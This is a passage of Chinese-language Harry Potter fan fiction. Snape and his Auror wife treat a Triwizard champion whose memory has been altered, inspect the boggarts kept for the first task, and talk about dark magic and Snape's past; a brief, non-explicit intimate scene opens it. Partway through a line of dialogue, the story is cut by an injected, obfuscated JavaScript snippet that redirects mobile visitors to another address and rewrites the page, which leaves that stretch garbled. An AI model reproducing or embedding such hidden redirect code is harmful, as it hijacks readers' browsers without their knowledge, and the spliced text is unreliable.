可是,她没有进一步推开,反而用大腿挤压着他的。于是,他再度俯身拢住她,耐心又体贴地吻平她紧蹙的双眉,最后虔诚地吻上她微张的嘴唇。 “唔,只是一周……怎么,”他急促地轻叹,缓缓安抚身下紧攥着他睡衣的人,“……放松,蕾雅。” 一捧燃得激荡的暖火终是烧穿了绵长的黑夜。 所有仅存的理智和意识都已被这把火焚得不剩。火星于心跳轰隆的凉夜碰撞,汹涌的熔岩愈加满溢,渐渐燃尽了滩岸上的山崖。她追随火的浪潮攀爬,却最终混混沌沌地从山岳之巅滑下,坠入滚烫沸腾的岩浆。 男人细心地将她捞起,让她伏在他的肩膀上歇息。在她努力喘匀气的间隙,他放下清理的魔杖,拨开她濡湿的碎发,指腹贴上那张被烫得火红的脸颊。 她紧抱着他的脖颈,脸深埋进他的颈窝,疲倦又低哑地哼了一声。 良久,他取来床头的一杯温水,哄着她喝下。 “现在快睡,明天还有很多事。”斯内普将怀里人放在松软的枕头。 “我本来是想听你说以前的事来着……你答应我的。”她含糊呢喃,扯着被子枕回他的手臂。 “别急,我们会有很多时间来说。” 斯内普拥住她,拍抚在她的背脊。 “那,晚……” 话没能说完。 ——“咚咚咚。” 猝然而至的敲门声将两个几近沉入睡眠的人惊得瞬间清醒。 蕾雅在男人下意识收紧的环抱中瑟缩一下,随即反应极快地探手,抽出藏在枕头底下的魔杖。 100.博格特 在蕾雅的魔杖尖端迸出任何攻击性咒语之前,幸好,门口的人表明了身份。 ——“校长,斯内普校长!您得快来看看!”是一个女孩子拍着门的慌乱叫喊,大概是霍格沃茨学生。 斯内普指腹短暂掠过怀里人的肩膀,放缓声音:“是学生。” “嗯。”蕾雅点头,垂下魔杖,担忧的目光始终追随着自己的丈夫。只见斯内普迅速下床,穿上睡衣,魔杖召来一件长袍边扣上,边踱向门口,语气夹杂几分不耐的低哑:“你最好有非敲不可的理由。让我提醒你,现在已经是半夜十二点了。” “斯内普校长!”然而,没等斯内普走到门旁,蕾雅闻见了弗洛拉急躁的呼喊,“您方便开门吗?我们非常需要您的帮忙。” 这一刻,蕾雅所有的困倦都被冷风卷走般,烟消云散。 她条件反射地坐起,很快意识到是出事了——这么想着,她抓起搁在枕头边上的薄睡衣,眼神依旧不断紧盯门的位置。 随着斯内普魔杖的轻挥,一盏幽幽的烛火照亮房门附近的空间。他将门拉开一条缝:“怎么了?” 旋即,一股刺鼻的血液腥味挤入房间,与此同时,斯内普的身影消失在门外。 顾不得身上还有什么疲累,蕾雅绷紧神经起身,扯过睡前搭在椅背的羊毛开衫,蹙起眉快步跑向门口。 “克罗菲尔顿小姐?”紧接着,传来的是斯内普紧迫的叫喊,拔高的语调几近咆哮:“格里登,发生了什么?回答我!” 年轻女孩带着止不住的哭腔请求到:“我不知道……我们刚才在后山……校长,请救救她!请救救她!弗洛拉小姐她说……”她说得太急,被喘息呛得咳嗽。 “我在巡逻时候碰上她们,从山上跑下来的。”弗洛拉有条不紊地解释,“伤得太重了,我处理不好,也来不及去医疗室。” 透过半掩的门缝,蕾雅已目见门外的三个人,安妮·克罗菲尔顿摇摇欲坠地挂在弗洛拉和方才叫喊的女孩手臂,脑袋低垂,看起来已失去意识。来不及多想,蕾雅急忙完全推开门,“快让她们进来,西弗勒斯。” “蕾雅?”弗洛拉吃惊地看着一身单薄睡衣的同事,整个人愣了愣,扯出个错愕的表情,“对哦,你是他的……” “弗洛拉,快把她扶到床上,我的工作箱里有治疗药。”蕾雅以简洁的话盖过弗洛拉的惊讶,她直接伸出手,帮忙接住安妮。斯内普用身体抵住房门,面色又冷又硬:“别愣着,听见她的话了吗?” 浓烈的铁锈味灌入鼻腔,蕾雅的瞳仁不可自抑地打了个寒颤。眼前的褐发女孩,身上、手上全是血,而她扶着的安妮·克罗菲尔顿几乎被血液泡得发红。原本漂亮的金发沾满血污,殷红的血液沿着她的手臂、小腿淌落,沁湿校袍,最终在途经的刺绣地毯晕开一朵朵触目惊心的不祥之花。 弗洛拉将安妮安置在床上,便匆匆离开去找汉密尔顿。傲罗们必须趁事件发生没多久的时刻,立即采取追捕和搜索的行动。 很快,门外响起傲罗们纷乱的脚步声,而屋内,所有的房灯都被悉数点亮。在明亮的白炽光之下,蕾雅和斯内普专注于眼前的治疗任务。 “主要是失血过多。补血剂两瓶,白鲜药水。”蕾雅绑起头发,单膝半跪在安妮身侧,斯内普已将工具箱搁置在她的手边,动作利索地依此召出药剂,补充:“先用缓和剂。” “好。”蕾雅冷静追随他的指令,用抱枕垫高安妮的头,让几瓶药剂缓缓流入她的喉咙。 见到女孩苍白的脸恢复一些血色,她算是松一口气,两人开始仔细查看伤势,“……这些伤口。” 她拨开安妮的金发,女孩的面侧、脖子、手臂……裸//露在外的皮肤都布满了密密麻麻的细小伤口。她稍微掀起安妮的长袍,发现底下的校服衬衫早已被鲜血浸透,如同从浓稠的血池中捞起一般,这感觉令她想起—— 当初躺在血泊里的德拉科·马尔福。 蕾雅无声地对上斯内普同样怀疑的神色。不久,斯内普笃定地给出结论:“伤口不够深,切口也不够锋利,不是神锋无影。”说完,他回过身,朝进门就没有挪动过步伐的褐发女孩抛去一道诊断咒,确认她没有受伤,直截了当质问道:“告诉我你所有知道的事,格里登。她是怎么到后山去的?” 格里登哆嗦着缩在皱巴巴的长袍里,白如纸脸色不比安妮好到哪里去,显然还未从惊吓中回魂,“安妮……被选为勇士后,晚上有点睡不着觉……然后、然后,想起下午安布罗斯说的……” “安布罗斯?”蕾雅抬起头,霎时想起下午的事,“安布罗斯难道告诉了安妮,第一场比赛在后山?” 褐发女孩仿佛抓到了救命稻草,捣蒜似的拼命点着脑袋。之后,她全然不敢面对斯内普凌厉的怒气,只躲闪地朝向蕾雅,声音发颤:“我们、我们有些迷了路……有什么东西跑了出来,安妮挡在我前面……我看不清,她流了好多好多血,”她抽了一口气,右手紧紧绞在左手上,“我……幸好、幸好弗洛拉小姐及时找到了我们。” 蕾雅收好空药瓶,摸着安妮衬衫上温热的黏腻,转向斯内普:“西弗,我看看她身上的伤。” “我去外面。”斯内普果断离开,踱步至门口,目光不带温度低瞥向格里登,厉声命令:“你,留在里面。” “好、好的。” 蕾雅轻柔地解开安妮的衣服,这不是她第一次处理别人的伤口,可她从未见过这样的伤。校服明明没有破损,但底下的皮肤却也爬满深深浅浅的划痕,鲜血仍在不断渗出,就好像被无数锋刃无情切割留下的。 可这是怎么做到的?果然是类似神锋无影的魔法吗? 安妮当时到底经历了什么?蕾雅默默处理着她的伤,忽而想到安妮失去意识也可能不是因为过多失血,而是痛楚所带来的休克。 她拧紧眉心,魔杖尖顺沿伤痕游移,凝血的咒语一遍遍落下,像是细心缝补的针线。所幸,这些咒语确实起到愈合作用,也证明并不是神锋无影造成的伤害。她稳住手腕,最终呼出一口气,仔细将白鲜药水倾洒在晕开的猩红之上,低吟愈合魔咒。 一旁的格里登仍在啜泣,是吓得不轻。蕾雅轻抖手腕,向她传去一块手帕,终于没忍住,唤道:“你叫什么名字?别哭了,过来帮忙。” “菲奥娜……”菲奥娜机械式地咕哝,宛如一具牵线木偶一样扑到床前。她依照蕾雅的指示,颤抖着脱去安妮的鞋袜,清理血污斑斑的小腿——那里亦是交错的伤痕遍布,一片狼藉。 “安妮,现在听得见吗?”蕾雅用左手抚触女孩的面庞,终于看见对方微动的眼皮,感到心间一松:“谢谢梅林,你好好活着。” 她又伸手拍了拍仍然伏在安妮身侧的格里登,温和地问:“你呢?有没有不舒服的地方?”见格里登迟缓地摇了摇头,蕾雅径直拉过她的手掌,用魔杖拂去上面的污渍,而后将一片泛着淡蓝微芒的药剂塞进女孩手里:“如果还是觉得很难受,就喝下这瓶镇定剂。然后什么都不要想,回去睡觉吧。我们会安全地送安妮去医疗室。” 格里登一手紧握着安妮,一手无意识攥住药瓶,面上依旧铺满紧张和请求:“我也一起去……可以吗?我想陪着安妮……” “你清楚校长不会同意的,不是吗?”一向心软的蕾雅不忍直面女孩的恳求,只埋首为安妮扣好清理过的校袍,“今晚先回去休息吧。” 年轻傲罗的声音虽然入耳很温柔,却莫名让人不容抗拒,菲奥娜眨了眨眼,顺从地答应:“我知道了,谢谢您。” “嗯,另外,能请你暂时先不要将今晚的事告诉别人吗?”蕾雅叮嘱道。 “啊……”仿佛在努力消化对方的话般,格里登凝固住几秒,郑重地点了点头:“我答应您,不会说的!” 就在这时,门外传入汉密尔顿跟斯内普的交谈声:“斯内普校长,受伤的学生怎么样了?” “蕾雅在给她治疗。你们那边呢?”斯内普一直守在门外。 “很遗憾,除了一些黑魔法痕迹以外……”汉密尔顿的嗓音发紧而疲惫,似是晚秋枯槁的枝桠,“其他人还留在后山搜索。” 蕾雅打开房门,门外站着的是汉密尔顿和弗洛拉。她轻点魔杖,抹去身上沾染的血迹,“正好,基本的伤口我都处理过了。但她需要更完整的治疗,最好尽快送往布斯巴顿的医疗室。”她稍微停住话句,眼眸定在斯内普那侧,“另外,我已经让菲奥娜不要把今晚所见说出去了。” 斯内普应了一声,继而直接对汉密尔顿说:“那我跟蕾雅送克罗菲尔顿去医疗室。至于另一名学生,就交给你们了。”说完,他移开脚步,又像想到什么般,压低声添上一句:“今晚的事先作保留。明天一早,我会与马克西姆女士单独谈。” “明白。”汉密尔顿答。 他们走入苍凉的夜色,穿过布斯巴顿繁花锦簇的庭院。 斯内普操纵着一具担架,担架上的安妮·克罗菲尔顿挣动一下,终于有了苏醒的迹象。 “斯内普……校长?”她挣扎着掀开眼皮,第一眼见到是崇拜的人,连带话音都裹上不少发抖的讶异:“怎么是您……?” 但在斯内普那些尖酸刻薄的话出现之前,蕾雅飞快地转身,朝女孩挥了挥手:“噢,安妮,你醒了?是格里登小姐和巡逻的傲罗把你送回来的,你还记得发生了什么事吗?” “啊……你是,莱恩哈特学姐。”安妮的眼睛稍稍晃动,在深沉的黑夜茫然地转了转。从这担架望出去的角度,刚好能见到前方斯内普垂下的手臂,那指间的银戒泛着刺目的寒光。她一愣,偏转视线,果然在这名傲罗的手上注意到同款的戒指。 随即,那双暖棕色的眼眸长久地沉寂下去,很多原本到了嘴边的话语也都一一咽了回去。 良久后,她有气无力地喃喃道:“我……好像怎么也想不起来了。” “我的治疗还可以吧?”蕾雅没有顾及少女心思的余裕,只接着询问:“还会不会有哪里很疼?” “嗯……”安妮将手按在小腹,以很轻微的弧度摇头,哑着喉咙说:“感觉好很多,谢谢你。” “需要我们为你祝贺吗,安妮·克罗菲尔顿?为霍格沃茨不至于因为你的愚蠢退赛?”一旁的斯内普在这时插话。他铁青着脸,尖嘲的语调冰冷得宛若毒蛇攀上脖颈:“到底要我强调多少次纪律,你们才会用脖子上那颗没用的东西记住?” “对不起……校长,”安妮虚弱地别过脸,“我只是想为霍格沃茨赢……” 蕾雅悄然叹一口气,是有许久没有看到这个状态的斯内普了。男人的黑袍翻飞,疲倦的眼底压满怒气,抿平的唇角令人不寒而栗。 她丝毫不怀疑,如果他们仍身在霍格沃茨,斯内普绝对会给拉文克劳扣上一百分,按人头算。 并且,附加的条件是一年以上的禁闭。 …… “记忆被修改过了。” 斯内普的声音裹着十二月的寒霜。他背靠没有被光照射到的储藏柜,双臂交叠,审视地望着对面的中年傲罗。傲罗手中的魔杖上正缠绕一缕银丝状的物质,那是病床上正由蕾雅照看的女孩的记忆。 摇晃的虚光和银白色的魔力余韵如波纹漾开,汉密尔顿神色凝重,小心地将这些剔透的丝线送回女孩的大脑。完成后,他将魔杖别回腰间,眸光低垂着,答道:“的确。” 马克西姆女士正站在病房深蓝如海的帘布旁,高大的身影被光线刻写雕花大理石地面。她的面孔被难色占据,眉心的褶痕自早上听闻这个消息就没有松开过。 “除了一些黑魔法痕迹,什么也没找到吗?”她问。 “显然。你我都知道,那些人可不是贝拉特里克斯或者格雷伯克,恨不得在现场刻上名字。”斯内普冷冰冰地回答,“保险起见,我现在去检查其他的准备。”他特意隐去地名,只简单向马克西姆女士递去个眼色。 女士心领神会地闭了闭眼,抬起戴有许多宝石的手轻触下巴,“也是,那就拜托您了。您一个人没问题吗?” “我的夫人会随我同行。如果副主任没有异议的话。”斯内普平静地说。 征得傲罗主任的同意后,两个人离开病房。 尽管身处白昼,走廊上的烛火却在视野里愈渐沉重暗淡。两个人一前一后穿过数道拱券门,彼时正是课间,布斯巴顿的学生三三两两地聚在各处,见到他们都纷纷停下脚步,低头行礼。 只是,斯内普没有心思关注其他琐事,只顾着大步往前,直到在靠近草坪的侧翼,迎面撞上匆忙赶来的安布罗斯与菲奥娜。 黑袍缓缓垂落的须臾,斯内普骤然停步,面色变得更难看了,几乎是以审问的音调吼道:“你们两个,又在打什么主意?” 天光自他们身后投下,将斯内普的气场塑造出更为深邃,让他看起来格外可怖。他蹙着眉,先瞥了一眼安布罗斯,随后以眼尾睨向菲奥娜:“格里登小姐,我记得你昨天可是向我们保证过的。” 菲奥娜浑身一颤,被斯内普危险的语气震得攥紧衣袖。倒是安布罗斯硬着头皮挡在菲奥娜身前,还扯了个算是镇定的礼貌神情:“斯内普校长,请您不要责怪她。是我执意要找安妮……” 看来,他们的关系确实很好——安布罗斯当晚就告诉安妮后山的事了。蕾雅拢回思绪,说到:“安布罗斯,菲奥娜,先回去吧。”她的话音比斯内普柔和不少,却也沉落着告诫,“安妮情况很好,只是傲罗们守着病房,你们去了也进不去的,反而会带去不必要的干扰。” 菲奥娜垂下头,嗫嚅道:“可是……” “可是?!”斯内普的嘴唇猛地收紧,下颌线条在这刻凌厉无比,似把架在两人脖上的寒刃:“格里登,瓦恩霍姆,是我说得不够清楚,不是吗?你们还想制造出多少麻烦?” 安布罗斯面色霎时发白,菲奥娜张了张嘴,感觉马上就要哭出来了。 蕾雅只好立即上前,用力将两人往后推耸,低缓地劝说:“听话,别再乱跑了。” 送走犹犹豫豫离开的二人,这对夫妻步出侧翼,绕过主城堡,沿着长廊最终来到学校最不起眼的一角。 阳光的踪迹停在很远的地方,狭长幽深的回廊将这方空间隔绝于外界的辉煌。盘踞视野的石砖布满裂缝的石砖,入目皆是象征古老的青灰,冷寒的色调也晕染了身边的空气。 蕾雅专心跟随男人往前,最终也没有问他们到底要去哪里。只不时甩出几个原形立现咒语,确保没有异样。 在最隐蔽的一座矮楼底下,斯内普为二人施加幻身咒,利落解开塔楼紧锁的木门。 室内墙壁上的魔法烛灯被突如其来的空气撼动得惊颤摇曳,等眼睛适应了这昏暗的幽光,蕾雅看清面前是一段又窄又陡的阶梯,似乎通往地底。 斯内普握紧魔杖,牵着她缓步走下楼梯。这里的一切都与地面的华光锦灿截然不同,未经修饰的建筑结构裸//露在外,阴森的石墙缝渗出一股地下特有的潮湿和寒意。 他们停在一道截断路的老墙前。斯内普再次仔细探查周围,确认没有外来的痕迹,才举起魔杖,依次敲开几块墙砖。仅仅是须臾间,一扇隐藏的石门在墙角悄然显现。 “啊……”蕾雅被斯内普拖着,埋入前方的漆黑,闻到许多陈旧朽木和尘埃的气味,像是来自被光阴吞噬的千年以前。 门闩搭上的清脆在身后回荡,斯内普解除了幻身咒,点燃壁上的烛火。 骤然亮起的光线拉长了四周杂乱堆砌的影子,映到墙上,交叠形成一团狰狞又怪异的墨黑,让她想到童话书里某种久栖地底的无形妖怪。可还没等她来得及细看,耳边却很清晰地捕捉到从深处传来撞击声和哀鸣,似是真的有什么不安分的野兽猛击囚笼一般——毛骨悚然的声响渐渐翻涌而起,如潮汐般扑向她。 “呃,这里是……有什么吗?”一种酥麻的感觉缠上她的后背,蕾雅往丈夫的身侧靠了靠。尽管理智告诉她,执勤的时候必须抛开对一切的胆怯。 “第一场比赛要用到的,”斯内普不紧不慢地开口,随手挥动魔杖查看魔法锁咒和封印的完好度,“除了海格的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085986|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些神奇生物,这里也存放着一些更特殊的东西。” 她顺着他的动作去看,发现这个宽敞的房间内堆满的都是柜子。木质的、铁皮的,甚至还使用被魔法锁链缠绕着的深色皮箱,两个紧扣的锁扣随着箱子偶尔的震颤绽出森冷的寒光。 一个想法跃上心头,她忍不住大胆猜测:“是魔法部最近捕捉到的妖怪吗?第一场比赛要用到这些?呃……告诉我没关系吗?” “你是我的妻子,”斯内普低低地说,“同时也是这次会忠诚执行任务的傲罗。” 事实上,要说这个世界上唯一不可能再背叛他的人,斯内普兀自想到——要真的选一个人的话,除了她,大概不会再有第二个了。又或者,他自嘲地往下推想,如果蕾雅决定要背叛他,那他亦会甘之如饴。 “不怕我是复方药剂变的?”傲罗轻飘飘的话唤回男人飘散的联想,手中魔杖已跟斯内普同样地舞动起来。 枕边人是复方汤药变的?斯内普瞬间掐灭了这个想象的可能性。不过保险起见,他还是漠然地转过手腕,魔杖懒懒地在她身上划出几道淡白色的光晕。在柔光缀满她外袍的时分,斯内普径直伸手扣住她的脸颊。 直到她被他的粗//鲁揉搓惹得出声时,他才慢悠悠地收回手,嗓音不悦地回她:“下次别拿这种事开玩笑,夫人。” “我怎么不记得复方汤剂能被魔咒检测?”蕾雅抚着发烫的脸,不满地嘟哝:“我觉得你只是想趁机捏我吧,不是吗?” 斯内普抿紧唇角,给她一个意味深长的笑容。 两人魔杖不断牵引开的魔力在房间中交错迷散。半晌后,蕾雅敛住脸色,犹有顾虑地问:“说起来,你们没打算把计划告诉斯塔克洛夫校长,对吗?……我昨天巡逻的时,在后山看见他了。” “后山?什么时候?”斯内普回过身。 “就下午,我跟莫尔从海格先生的车厢出来。”蕾雅不自觉摸摸鼻尖,脑海里蓦地浮现出种种可能,“你说……有没有可能?”她顿了顿,接着一点点铺开自己的推测:“毕竟德姆斯特朗一向以黑魔法著称,包括著名黑巫师格林德沃,和部分罗齐尔族人,都跟那里有联系。” “如果巧合太多,那就不会是巧合。”斯内普的嘴唇略有踟躇地卷曲,让他的眼神显得更加阴鸷,“虽然最初我跟金斯莱只是觉得事情越少人知道为好。但现在反过来想,如果他们真的有联系,反倒是个机会。” “也是啊,他们之间的牵连反而是一种能让我们捉到幕后人的办法。”蕾雅若有所思地观察着柜锁,逐渐看清斯内普和金斯莱的计划,“所以,罗齐尔追随伏地魔,果然也是黑魔法的缘故?” “不如说,是伏地魔需要像罗齐尔家族这样的人。”斯内普并不是很情愿地回想着当时的情形,不由皱起眉,“黑魔王要的从来不是盲目的信徒,而是工具。最初的他,尚未完全被预言和对永生的执念束缚,仍有很多狂妄的目标和野心,急需有人协助他深入黑魔法的禁忌领域。” 那么,这么说来,是预言让伏地魔终止了研究? 如果伏地魔继续沉溺于黑魔法,他会创造出比六个魂器更加疯狂的东西吗? “黑魔法的禁忌领域……?看来我们在学校学到的,也只是很表层的东西。”他们更深入了房间,蕾雅在此刻看向沉思的男人,略带好奇地试探,感到自己似乎离这个男人曾经的世界更近了。 空气沉凝一瞬,斯内普自知她又一次敏感捕捉到超过他本想表达的意思。他只好垂眸看她,踌躇着该不该继续把那些曾经也令自己着迷的东西告诉对方。 不过,好一阵后,他还是选择坦言:“不错。除了以伤害为目的的主流恶咒、毒咒、伤害咒语,黑魔法当然还包括更多的探求——对疾病、五感、血脉、生死、命运,甚至时间的掌控。” “这听着真是一门需要深究的学问。”蕾雅的指尖划擦着一个没有动静的木柜,很客观地评价到。 “蕾雅。”斯内普凛冽地停住手头动作,十分坚决地用眼神警告,“这其中的复杂与危险,比你能想象得都多,我不希望你……” “放心,我不会去研究黑魔法的。”她打断他,给予他一个干净的暖笑,“只是觉得离爸爸的工作更近了。你也知道,身为缄默人,他是不能亲口对我说这些话。”说着,她移开视线,决定问出她从刚才就很想问他的问题:“那……你当时呢?” 斯内普理所当然明白她在问什么,也记得昨日已经答应过她如实相告的。 他花了点时间斟酌语言,毕竟,除了十九年前的邓布利多之外,他从未向谁详细提过最初效忠伏地魔的那些年月。即使上次让她看见了尘封的记忆,那都是他筛选、修剪过的片段。 他要怎么告诉她,黑魔王曾经欣赏他的天赋,并一点点将他培养为得力的左右手? 大段的空白在二人之间流逝。很久很久,久到蜷缩在柜中的妖怪们都渐渐停息躁动,蕾雅已然结束她那边的工作,正考虑要不要岔开话题,才听见斯内普在这侧低沉开口:“最初,伏地魔只派我去执行一些跟踪和打听情报的任务。” 蕾雅来到他身边,听出他话中的保留,便耐心又渴求地依照他的暗示追问:“后来……?” “后来,等真正获得他的信任后,他的确想让我加入罗齐尔的研究,只不过罗齐尔在那一年被穆迪追杀。再往后,就是他本人的死亡。” “原来是这样啊。” 他们又一次陷入短暂的静默,两人已安然来到房间的最深处,这里矗立着一排古老的立柜。 或许是感觉到他们的接近,几个本来安静的柜子猛然摇晃,以剧烈的幅度撞击石墙,斑驳的木板被撞的轰隆作响,是有什么东西正在其中挣扎着,急切要破门而出。 蕾雅屏住呼吸,这种感觉很熟悉,她直觉自己在哪里见过。她感受着从柜门透出的诡异魔力波动,努力在脑海中翻找可能的线索,挑起眉问:“博格特?你们还打算在比赛用这个?” “莱姆斯的主意。”斯内普没什么感情地说,魔杖流溢的淡白光束忽然被其中一个镜柜反射得透亮。 突如其来的光刺得蕾雅眯了眯眼,记忆随之被强硬扯回三年级那年。 当时在卢平的黑魔法防御课上,她的魔杖挥出了一模一样的光辉,将愤怒的雷格纳变为欢快跳舞的雷格纳。 “说来,博格特的形象是会改变的吧?我三年级的时候害怕爸爸生气,现在肯定不会是这样了,对吗?” 可如果是此时的她,再次站在博格特面前,她会看到什么? 她的余光斜向身后的男人,心中漫开些许不安。 “我不介意你现在打开验证。”斯内普垂下魔杖,渐弱的光源同时褪去他面上的情绪,一切都变得晦暗而不清。以至于,蕾雅一时没能完全读懂斯内普这句话的真正意思。 她摆摆手,推开男人不知算是玩笑还是认真的提议,故作轻快地笑道:“不了,我是不太想再见到纳吉尼。” 斯内普低哼了一声。 然而,她并非全然没有这个冲动的。 至少有一毫秒的时间,她是很想要打开这个柜子——她想知道,斯内普如今的博格特,会是什么模样? 也许很大概率,会是受伤的自己,又或者,是被血色笼罩的霍格沃茨? 她这么想着,往后靠向他,抬起头,古老的镜柜映出一双同样看着她的黑眸,有暗涌的波流蜿蜒在其中。 “我这两天,也终于明白你以前的心情了,西弗勒斯。看着学生受伤,真宁愿那是自己。”她轻轻说。 “刚刚我们提到的黑魔法和时间,我突然真的好想回到过去,为我曾经那样挑战你的底线道歉。” 黑魔法也好,时间也好,男人此刻只清楚,如果不是她一次次突破他的界限,他们根本不会一起在这里。 ——他根本不会还在这里。 斯内普沉默地盯着镜中人,她的身影渐渐没入他的长袍。 他们不再说话,锁好装有妖怪的老柜,锁上了这个房间。 101.暗流 笼罩着金发女孩的青翠绿芒被窗边透入的日辉打断了,浮动一瞬,渐渐在空气里浅淡消逝。 年轻的傲罗兀自颔首,了然地轻哼一声,将魔杖塞回别在身侧的皮套。 “这两天,有没有想起来别的片段?”傲罗询问道。 床上的女孩低低地叹了一口气,语气里似沾着几分愧疚:“还是只能回忆到那团黑影出现的时候,再往后,什么也想不起来了。……对不起,我知道你们都在尽力想查清楚。” “别再道歉了,安妮,只要你别再乱跑。”傲罗随手翻了翻挂在病床前的单子,垂下眼说:“说到底,我们的部署也确实有疏忽,怎么会在这么近的地方就有埋伏,却什么都查不出来了呢。” “不……是我自己不好。”安妮稍稍低下头,余光却始终追随傲罗手中的动作——她没有急着离开,而是花了一些时间查看自己的康复记录,又踱到柜边仔细点对用药清单。 大概是没找到值得关注的,傲罗把手边的东西逐一归位整好,忽而转过身来,很直接地看着安妮:“别再盯着我啦,你是不是有要问我的事?” “啊……”安妮飞快地别开瞬间红透的脸,似乎是后知后觉到自己行为的无礼,无意识地揪紧了被子一角,“抱歉,蕾雅……我不该——” “有想问的,就直接问吧。”蕾雅并不会单纯因为这样的事生气,反倒是在引导安妮开口。梅林知道,她一向不大喜欢拐弯抹角的猜疑。想到这里,她补充到:“而且,等你离开医疗室后,我们应该就不会那么容易碰见了。” “嗯……我只是想问,呃,” 安妮没有再看蕾雅,又仿佛有些难以启齿,最终还是深吸一口气,却近乎耳语般吞吞吐吐:“你就是校长的夫人吧?……我是从你们的戒指猜到的。这两天,我又发现了一些更细节的东西……比如,气味。” “观察得很仔细嘛。”蕾雅略有腼腆地漾开微笑,当作承认。她洞察到女孩脸上写满的犹豫,决定替她接着问下去:“所以,你是觉得很奇怪吗?校长怎么会跟我在一起?” “不,不是那样。”安妮连忙摇头否认,很难再说出口别的。稍作停顿,她伸手去够床柜上的魔药,脸上泛起的红晕在她白皙的皮肤上分外明显,“……我只是在想,为什么不公开身份?其实霍格沃茨的学生都知道他有伴侣了。” “哦,这个啊。”见安妮咽下苦药,蕾雅顺手给她传去一杯斟得半满的清水,“其实,这个问题也能回答,为什么斯内普校长知道你擅自行动时会那么生气” 安妮捧着水杯的手微微一滞,终于抬眼与蕾雅对视。 “暂时不公布,是因为那场战争的残党还未完全被消除。”蕾雅尽可能让声音听起来温和而不失严肃,“考虑到校长的经历,我和他都认为这样会稳妥一些。也是这个原因,傲罗们才会在这里,跟斯内普校长一起保护你们。” 安妮咽下一小半杯水,眼神在这瞬变得有些虚无。她将杯子搁在白色的被褥之上,边组织着词句边说道:“感觉是斯内普校长会有的想法。其实我们现在都知道了,虽然他嘴上不饶人,但有事去找他,他最后都会帮我们解决的。他一直都是个很可靠的师长。” 蕾雅仅是干脆地笑开,评价到:“你果然很关注他,连这些都注意到了。” “唔……我确实很崇拜斯内普校长,尤其是读了关于他的事迹之后。”安妮的脸愈发红了,“而且,也许你不知道……高年级的学生之间私下都在讨论,到底是什么让校长变了这么多?也有人猜测,校长以前是故意装得那么讨厌的——为了完美伪装他的卧底身份。……可现在我已经知道了,是别的原因。” 安妮不再说了,只望向矗在柜边,抱起双臂的傲罗,笑而不语。 蕾雅的目光流连在安妮带有几分揣测的脸上,又被女孩那头在阳光下接近透明的淡金发吸引一瞬,不自觉稍稍弯起嘴角:“你是打算说因为我吗?”她顺着女孩的话想想了想,“不过,怎么说呢,我觉得更多的,还是因为斯内普校长现在和以前的职位不一样了,战后要考虑的事情,也完全不同了。” “好啦,安妮。”蕾雅没给女孩继续纠结的机会,很快把话往下说,“别想太多这些有的没的了。好好休息吧,比赛马上就开始了。” “嗯。”安妮顺从点头。 不过,就在蕾雅收好东西离开的片刻,她忽然想到一些事,转身狡黠地朝安妮眨了眨眼睛:“对了,还有一件事必须在你出院悄悄跟你分享的……是斯内普校长曾经教会我的一件事。” “是什么?”安妮不由地歪歪脑袋。 “仰慕并不等于喜欢。”蕾雅缓缓开口,语调放得更轻一些:“而是另一种可以使你变得更优秀的情感。有些人的确值得被仰望,比如说斯内普校长。但是呀,别忘了近处也会有值得在乎的事物。” “什么……意思?” 蕾雅没有正面解释,只是给予她一抹神秘的笑,“好好休息吧,我过会儿再看你。” 不再去猜一脸茫然的女孩到底能不能悟到话里的暗示,她轻轻带上了独立病房的门。 背靠着门口,她扯起袖口,低头看那串刻在银手环上有几秒的文字。 「那边怎么样?」 「都好。准备跟哈利交接去巡逻,你呢?」她回到。 「都好。午饭可以一起?回房间」信息几乎是立刻传来的,看来对方刚忙完手头的事,正饶有兴致地等她的答复。 「应该可以」 「好,我安排」 回完讯息,抬起头,她便望见走廊另一头,匆匆忙忙赶来的安布罗斯和哈利。 是刚下课,安布罗斯怀里抱着几本教材和羊皮纸,头顶亚麻色的卷发随着他快步的动作一翘一翘的。二人的身后,又是悄悄跟着一群穿着各色校服的女生——自哈利和英国的傲罗大部队到达以来,总是如此。只不知道这情景有没有让哈利想到当初的威克多尔·克鲁姆。 最近几天,在安妮明显接近恢复后,安布罗斯和菲奥娜也终于征得斯内普同意,轮流来给安妮讲课,还负责把作业带给她。其余时候,斯内普和纳威也会不时抽空答疑。 只不过嘛,守在这里的日子,傲罗们都看得出来,安布罗斯来的是勤快了些。 …… 响亮的哨声落下了,三位勇士的身形渐渐跑远,很迅速就消失在三位校长所能目见的范围外。 他们在帐篷外多驻足半晌,确认到勇士们都大致有了自己选定的目标,马克西姆女士便提议道:”我们回看台吧,那里视野更好。“ 显然,十一月呼啸的冷风是无法吹散看台上的热闹。霍格沃茨的区域现在化作汹涌的深蓝海洋,拉文克劳和霍格沃茨的旗帜交错着迎风飘荡,每个学生的脖子上都系有一条蓝色的围巾,身上还佩戴着各种能表示他们支持安妮·克罗菲尔顿的饰品。 就连斯内普校长,脖前也挂着蓝色围巾——虽然这完全是今早他的妻子执意给他戴上的。理由是“曾经是斯莱特林院长时也会在魁地奇佩戴饰物,现在身为校长,更应如此了。” 而看台不仅仅有三个学校的学生,还有不少特地购观看券前来的巫师。喧哗和掌声四起,到处都是吵吵闹闹的谈论,观众们丝毫没有要端坐在位置上的打算,全都倾身往场内探头,目光紧随穿行在赛场中追逐着神奇动物的三位学生。 第一场比赛位于后山与湖泊之间的开阔平地。这里被魔法改造为好几块区域,与海格的特制车厢如出一辙,从湖泊、草地、沙漠到密林都有。 勇士们的任务是从中找到一只愿意跟随自己的动物,保护它,或者与它并肩作战,对付路上遇到的妖怪和障碍。最终,由这只动物引导勇士,找到隐藏的下一场赛事的线索。 这种探索模式,在五年前的最后一场比赛里也被使用过。这不仅能考验勇士们的施咒能力,还要求勇士们有丰富的神奇动物知识,从而,能很好地显现出他们在校几年所获学识的综合运用。 